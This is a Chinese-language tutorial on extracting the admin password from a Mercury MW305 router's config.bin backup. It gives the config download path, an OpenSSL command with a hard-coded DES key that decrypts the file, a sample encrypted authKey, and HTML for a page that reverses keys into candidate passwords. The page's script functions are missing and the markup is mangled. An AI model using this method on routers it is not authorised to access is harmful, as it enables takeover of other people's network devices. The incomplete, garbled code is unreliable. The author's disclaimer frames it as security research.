路由器config.bin备份文件密码提取 水星 MERCURY Wireless N Router MW305
软件准备:Win32OpenSSL(区分32位、64位)
192.168.1.1/config.bin
**.**.**.**/config.bin
下载路由器配置文件(本次附件为32位测试)
将Win32OpenSSL安装在C盘,将<config.BIN>文件放在Win32OpenSSL的安装目录bin文件内
然后运行CMD
1、CD C:\OpenSSL\bin
3、openssl enc -d -des-ecb-nopad -K 478DA50BF9E3D2CF -in config.bin
找到首行authKey0rZily4W9TefbwK
此为加密过的用户后台登陆密码。
这段加密字串“0rZily4W9TefbwK”
生成计算器:
测试工具网页格式,代码部分另存成网页html文件代码复制到TXT,然后将后缀更改为html
<!DOCTYPE html PUBLIC "-//W3C//DTDXHTML 1.0 Transitional//EN""">qdpp007@**.**.**.**</a></span><br/>
<spanstyle="text-align:center">免责声明:本计算器程序(方法)可能带有攻击性,仅供安全研究与教学之用,<br />用户将其信息做其他用途,由用户承担全部法律及连带责任,本人不承担任何法律及连带责任。
</span>
<form action=""method="get"><fieldset><legend>源码测试</legend>
密码[最小6位]:
<input name="pwd" type="text" id="pwd"size="15" maxlength="15" />
<input type="button"name="btnOK" id="btnOK" value="计算KEY"onclick="lgDoSub()" />
<br />
<br />
显示 pwd:
<input name="dspPwd"type="text" id="dspPwd" />
<br />
<br />
显示 strDe:
<input name="dspStrDe"type="text" id="dspStrDe" />
<br />
<br />
显示 Dic:
<textarea name="dspDic"cols="70" rows="4"id="dspDic"></textarea>
<br />
<br />
显示 ASC码表:
<textarea name="dspAsc"cols="70" rows="2" id="dspAsc"></textarea>
<br />
<br />
结果 Auth_key:
<input name="dspAuthKey"type="text" id="dspAuthKey" />
字符宽度:
<input name="dspLen"type="text" id="dspLen" size="5" />
</fieldset>
</form>
<br /><br />
<form action=""method="get">
<fieldset>
<legend>你懂得</legend>
Auth_key演示字符19830917:
<input name="authKey" type="text"id="authKey" value="0rZily4W9TefbwK" size="15"maxlength="15" />
<input type="button" name="btnCup"id="btnCup" value="解密KEY"onclick="AuthKeyCup()" />
15位:0rZily4W9TefbwK<br/>
<br />
原始密码字符从首行由上到下,每行任选1个字符对应密码一位,组成密码串,N行字符==N位密码:<br />
<textarea name="dspPasswd"cols="70" rows="10"id="dspPasswd"></textarea>
<br />
<br />
数据库查询SQL:
<textarea name="dspSql"cols="70" rows="10"id="dspSql"></textarea>
</fieldset>
</form>
</body>
</html>